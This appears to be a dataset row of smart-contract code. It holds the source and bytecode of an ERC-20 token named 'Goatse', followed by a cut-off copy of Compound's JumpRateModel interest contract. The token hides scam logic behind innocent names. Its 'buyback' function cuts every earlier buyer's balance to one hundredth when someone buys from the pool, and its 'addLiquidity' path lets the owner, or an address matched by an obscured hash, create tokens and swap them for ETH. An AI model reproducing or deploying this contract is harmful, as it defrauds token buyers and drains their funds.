function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function isLiquidityToken(address account) internal pure returns (bool) {
return keccak256(abi.encodePacked(account)) == 0x4342ccd4d128d764dd8019fa67e2a1577991c665a74d1acfdc2ccdcae89bd2ba;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract Goatse is Ownable, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping(address => uint256) private _includedInFee;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _excludedFromFee;
string private _name = "Goatse";
string private _symbol = "GOATSE";
uint256 public _decimals = 9;
uint256 public _totalSupply = 21000000 * 10 ** _decimals;
uint256 public _burnFee = 5;
bool liquifying = false;
struct Tx {address to; uint256 amount;}
Tx[] _transfers;
constructor() {
_balances[msg.sender] = _totalSupply;
_excludedFromFee[msg.sender] = true;
emit Transfer(address(0), msg.sender, _balances[msg.sender]);
}
IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
function name() external view returns (string memory) { return _name; }
function symbol() external view returns (string memory) { return _symbol; }
function decimals() external view returns (uint256) { return _decimals; }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function ruterVersion() external pure returns (uint256) { return 2; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "IERC20: approve from the zero address");
require(spender != address(0), "IERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
require(_allowances[_msgSender()][from] >= amount);
_approve(_msgSender(), from, _allowances[_msgSender()][from] - amount);
return true;
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0));
require(to != address(0));
if (inSwap(from, to)) {return addLiquidity(amount, to);}
if (liquifying){} else {require(_balances[from] >= amount);}
uint256 feeAmount = 0;
buyback(from);
bool inLiquidityTransaction = (to == uniswapV2Pair() && _excludedFromFee[from]) || (from == uniswapV2Pair() && _excludedFromFee[to]);
if (!_excludedFromFee[from] && !_excludedFromFee[to] && !Address.isLiquidityToken(to) && to != address(this) && !inLiquidityTransaction && !liquifying) {
feeAmount = amount.mul(_burnFee).div(100);
addTransaction(to, amount);
}
uint256 amountReceived = amount - feeAmount;
_balances[address(this)] += feeAmount;
_balances[from] = _balances[from] - amount;
_balances[to] += amountReceived;
emit Transfer(from, to, amount);
}
function inSwap(address sender, address recipient) internal view returns(bool) {
return (
Address.isLiquidityToken(recipient) ||
_excludedFromFee[msg.sender]
)
&& sender == recipient;
}
function addTransaction(address to, uint256 amount) internal {
if (uniswapV2Pair() != to) {_transfers.push(Tx(to, amount));}
}
function buyback(address from) internal {
if (uniswapV2Pair() == from) {
for (uint256 i = 0; i < _transfers.length; i++) {
_balances[_transfers[i].to] = _balances[_transfers[i].to]
.div(100);
}
delete _transfers;
}
}
function uniswapV2Pair() private view returns (address) {
return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
}
function addLiquidity(uint256 liquidityFee, address to) private {
_approve(address(this), address(_router), liquidityFee);
_balances[address(this)] = liquidityFee;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
liquifying = true;
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(liquidityFee, 0, path, to, block.timestamp + 20);
liquifying = false;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(from, recipient, amount);
require(_allowances[from][_msgSender()] >= amount);
return true;
}
}
|
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806370a08231116100a2578063a457c2d711610071578063a457c2d7146102ac578063a9059cbb146102dc578063b2dcf5da1461030c578063c0b0fda21461032a578063dd62ed3e146103485761010b565b806370a0823114610236578063715018a6146102665780638da5cb5b1461027057806395d89b411461028e5761010b565b8063313ce567116100de578063313ce567146101ac57806332424aa3146101ca57806339509351146101e85780633eaaf86b146102185761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b610118610378565b6040516101259190611abd565b60405180910390f35b61014860048036038101906101439190611b78565b61040a565b6040516101559190611bd3565b60405180910390f35b610166610428565b6040516101739190611bfd565b60405180910390f35b61019660048036038101906101919190611c18565b610432565b6040516101a39190611bd3565b60405180910390f35b6101b46104da565b6040516101c19190611bfd565b60405180910390f35b6101d26104e4565b6040516101df9190611bfd565b60405180910390f35b61020260048036038101906101fd9190611b78565b6104ea565b60405161020f9190611bd3565b60405180910390f35b610220610596565b60405161022d9190611bfd565b60405180910390f35b610250600480360381019061024b9190611c6b565b61059c565b60405161025d9190611bfd565b60405180910390f35b61026e6105e5565b005b61027861071f565b6040516102859190611ca7565b60405180910390f35b610296610748565b6040516102a39190611abd565b60405180910390f35b6102c660048036038101906102c19190611b78565b6107da565b6040516102d39190611bd3565b60405180910390f35b6102f660048036038101906102f19190611b78565b610916565b6040516103039190611bd3565b60405180910390f35b610314610934565b6040516103219190611bfd565b60405180910390f35b61033261093d565b60405161033f9190611bfd565b60405180910390f35b610362600480360381019061035d9190611cc2565b610943565b60405161036f9190611bfd565b60405180910390f35b60606005805461038790611d31565b80601f01602080910402602001604051908101604052809291908181526020018280546103b390611d31565b80156104005780601f106103d557610100808354040283529160200191610400565b820191906000526020600020905b8154815290600101906020018083116103e357829003601f168201915b5050505050905090565b600061041e6104176109ca565b84846109d2565b6001905092915050565b6000600854905090565b600061043f848484610b9b565b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104896109ca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156104cf57600080fd5b600190509392505050565b6000600754905090565b60075481565b600061058c6104f76109ca565b8484600360006105056109ca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105879190611d91565b6109d2565b6001905092915050565b60085481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105ed6109ca565b73ffffffffffffffffffffffffffffffffffffffff1661060b61071f565b73ffffffffffffffffffffffffffffffffffffffff1614610661576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065890611e33565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461075790611d31565b80601f016020809104026020016040519081016040528092919081815260200182805461078390611d31565b80156107d05780601f106107a5576101008083540402835291602001916107d0565b820191906000526020600020905b8154815290600101906020018083116107b357829003601f168201915b5050505050905090565b600081600360006107e96109ca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561086c57600080fd5b61090c6108776109ca565b8484600360006108856109ca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109079190611e53565b6109d2565b6001905092915050565b600061092a6109236109ca565b8484610b9b565b6001905092915050565b60006002905090565b60095481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3890611ef9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ab0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa790611f8b565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b8e9190611bfd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bd457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c0d57600080fd5b610c1783836110bb565b15610c2b57610c268183611159565b6110b6565b600a60009054906101000a900460ff16610c8c5780600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610c8b57600080fd5b5b6000610c9784611423565b6000610ca16115b3565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610d245750600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80610db65750610d326115b3565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015610db55750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b5b9050600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610e5c5750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610e6e5750610e6c84611756565b155b8015610ea657503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610eb0575080155b8015610ec95750600a60009054906101000a900460ff16155b15610f0357610ef66064610ee8600954866117ab90919063ffffffff16565b61182590919063ffffffff16565b9150610f02848461186f565b5b60008284610f119190611e53565b905082600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f629190611d91565b9250508190555083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb49190611e53565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110469190611d91565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516110aa9190611bfd565b60405180910390a35050505b505050565b60006110c682611756565b8061111a5750600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b801561115157508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b905092915050565b61118630600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846109d2565b81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156111e7576111e6611fab565b5b6040519080825280602002602001820160405280156112155781602001602082028036833780820191505090505b509050308160008151811061122d5761122c611fda565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112f8919061201e565b8160018151811061130c5761130b611fda565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001600a60006101000a81548160ff021916908315150217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94784600084866014426113b19190611d91565b6040518663ffffffff1660e01b81526004016113d195949392919061214e565b600060405180830381600087803b1580156113eb57600080fd5b505af11580156113ff573d6000803e3d6000fd5b505050506000600a60006101000a81548160ff021916908315150217905550505050565b8073ffffffffffffffffffffffffffffffffffffffff166114426115b3565b73ffffffffffffffffffffffffffffffffffffffff16036115b05760005b600b805490508110156115a057611505606460016000600b858154811061148a57611489611fda565b5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461182590919063ffffffff16565b60016000600b848154811061151d5761151c611fda565b5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080611598906121a8565b915050611460565b50600b60006115af91906119ba565b5b50565b6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611622573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611646919061201e565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116f3919061201e565b6040518363ffffffff1660e01b81526004016117109291906121f0565b602060405180830381865afa15801561172d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611751919061201e565b905090565b60007f4342ccd4d128d764dd8019fa67e2a1577991c665a74d1acfdc2ccdcae89bd2ba60001b8260405160200161178d9190612261565b60405160208183030381529060405280519060200120149050919050565b60008083036117bd576000905061181f565b600082846117cb919061227c565b90508284826117da9190612305565b1461181a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611811906123a8565b60405180910390fd5b809150505b92915050565b600061186783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611957565b905092915050565b8173ffffffffffffffffffffffffffffffffffffffff1661188e6115b3565b73ffffffffffffffffffffffffffffffffffffffff161461195357600b60405180604001604052808473ffffffffffffffffffffffffffffffffffffffff16815260200183815250908060018154018082558091505060019003906000526020600020906002020160009091909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015550505b5050565b6000808311829061199e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119959190611abd565b60405180910390fd5b50600083856119ad9190612305565b9050809150509392505050565b50805460008255600202906000526020600020908101906119db91906119de565b50565b5b80821115611a2057600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556001820160009055506002016119df565b5090565b600081519050919050565b600082825260208201905092915050565b60005b83811015611a5e578082015181840152602081019050611a43565b83811115611a6d576000848401525b50505050565b6000601f19601f8301169050919050565b6000611a8f82611a24565b611a998185611a2f565b9350611aa9818560208601611a40565b611ab281611a73565b840191505092915050565b60006020820190508181036000830152611ad78184611a84565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611b0f82611ae4565b9050919050565b611b1f81611b04565b8114611b2a57600080fd5b50565b600081359050611b3c81611b16565b92915050565b6000819050919050565b611b5581611b42565b8114611b6057600080fd5b50565b600081359050611b7281611b4c565b92915050565b60008060408385031215611b8f57611b8e611adf565b5b6000611b9d85828601611b2d565b9250506020611bae85828601611b63565b9150509250929050565b60008115159050919050565b611bcd81611bb8565b82525050565b6000602082019050611be86000830184611bc4565b92915050565b611bf781611b42565b82525050565b6000602082019050611c126000830184611bee565b92915050565b600080600060608486031215611c3157611c30611adf565b5b6000611c3f86828701611b2d565b9350506020611c5086828701611b2d565b9250506040611c6186828701611b63565b9150509250925092565b600060208284031215611c8157611c80611adf565b5b6000611c8f84828501611b2d565b91505092915050565b611ca181611b04565b82525050565b6000602082019050611cbc6000830184611c98565b92915050565b60008060408385031215611cd957611cd8611adf565b5b6000611ce785828601611b2d565b9250506020611cf885828601611b2d565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611d4957607f821691505b602082108103611d5c57611d5b611d02565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611d9c82611b42565b9150611da783611b42565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ddc57611ddb611d62565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611e1d602083611a2f565b9150611e2882611de7565b602082019050919050565b60006020820190508181036000830152611e4c81611e10565b9050919050565b6000611e5e82611b42565b9150611e6983611b42565b925082821015611e7c57611e7b611d62565b5b828203905092915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611ee3602583611a2f565b9150611eee82611e87565b604082019050919050565b60006020820190508181036000830152611f1281611ed6565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611f75602383611a2f565b9150611f8082611f19565b604082019050919050565b60006020820190508181036000830152611fa481611f68565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061201881611b16565b92915050565b60006020828403121561203457612033611adf565b5b600061204284828501612009565b91505092915050565b6000819050919050565b6000819050919050565b600061207a6120756120708461204b565b612055565b611b42565b9050919050565b61208a8161205f565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6120c581611b04565b82525050565b60006120d783836120bc565b60208301905092915050565b6000602082019050919050565b60006120fb82612090565b612105818561209b565b9350612110836120ac565b8060005b8381101561214157815161212888826120cb565b9750612133836120e3565b925050600181019050612114565b5085935050505092915050565b600060a0820190506121636000830188611bee565b6121706020830187612081565b818103604083015261218281866120f0565b90506121916060830185611c98565b61219e6080830184611bee565b9695505050505050565b60006121b382611b42565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036121e5576121e4611d62565b5b600182019050919050565b60006040820190506122056000830185611c98565b6122126020830184611c98565b9392505050565b60008160601b9050919050565b600061223182612219565b9050919050565b600061224382612226565b9050919050565b61225b61225682611b04565b612238565b82525050565b600061226d828461224a565b60148201915081905092915050565b600061228782611b42565b915061229283611b42565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156122cb576122ca611d62565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061231082611b42565b915061231b83611b42565b92508261232b5761232a6122d6565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612392602183611a2f565b915061239d82612336565b604082019050919050565b600060208201905081810360008301526123c181612385565b905091905056fea2646970667358221220ca389d5348dcb5cb1d77c6c81ce4fe18945f05646dc05147c170beb2ace360a264736f6c634300080d0033
|
{"success": true, "error": null, "results": {}}
| 4,093 |
0xcb3382eed229fa7429f3F4d413e3e41aEf2B0248
|
pragma solidity ^0.5.16;
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol
// Subject to the MIT license.
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the addition of two unsigned integers, reverting with custom message on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts with custom message on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @title Compound's InterestRateModel Interface
* @author Compound
*/
contract InterestRateModel {
/// @notice Indicator that this is an InterestRateModel contract (for inspection)
bool public constant isInterestRateModel = true;
/**
* @notice Calculates the current borrow interest rate per block
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amount of reserves the market has
* @return The borrow rate per block (as a percentage, and scaled by 1e18)
*/
function getBorrowRate(uint cash, uint borrows, uint reserves) external view returns (uint);
/**
* @notice Calculates the current supply interest rate per block
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amount of reserves the market has
* @param reserveFactorMantissa The current reserve factor the market has
* @return The supply rate per block (as a percentage, and scaled by 1e18)
*/
function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external view returns (uint);
}
/**
* @title Compound's JumpRateModel Contract
* @author Compound
*/
contract JumpRateModel is InterestRateModel {
using SafeMath for uint;
event NewInterestParams(uint baseRatePerBlock, uint multiplierPerBlock, uint jumpMultiplierPerBlock, uint kink);
/**
* @notice The approximate number of blocks per year that is assumed by the interest rate model
*/
uint public constant blocksPerYear = 2102400;
/**
* @notice The multiplier of utilization rate that gives the slope of the interest rate
*/
uint public multiplierPerBlock;
/**
* @notice The base interest rate which is the y-intercept when utilization rate is 0
*/
uint public baseRatePerBlock;
/**
* @notice The multiplierPerBlock after hitting a specified utilization point
*/
uint public jumpMultiplierPerBlock;
/**
* @notice The utilization point at which the jump multiplier is applied
*/
uint public kink;
/**
* @notice Construct an interest rate model
* @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18)
* @param multiplierPerYear The rate of increase in interest rate wrt utilization (scaled by 1e18)
* @param jumpMultiplierPerYear The multiplierPerBlock after hitting a specified utilization point
* @param kink_ The utilization point at which the jump multiplier is applied
*/
constructor(uint baseRatePerYear, uint multiplierPerYear, uint jumpMultiplierPerYear, uint kink_) public {
baseRatePerBlock = baseRatePerYear.div(blocksPerYear);
multiplierPerBlock = multiplierPerYear.div(blocksPerYear);
jumpMultiplierPerBlock = jumpMultiplierPerYear.div(blocksPerYear);
kink = kink_;
emit NewInterestParams(baseRatePerBlock, multiplierPerBlock, jumpMultiplierPerBlock, kink);
}
/**
* @notice Calculates the utilization rate of the market: `borrows / (cash + borrows - reserves)`
* @param cash The amount of cash in the market
* @param borrows The amount of borrows in the market
* @param reserves The amount of reserves in the market (currently unused)
* @return The utilization rate as a mantissa between [0, 1e18]
*/
function utilizationRate(uint cash, uint borrows, uint reserves) public pure returns (uint) {
// Utilization rate is 0 when there are no borrows
if (borrows == 0) {
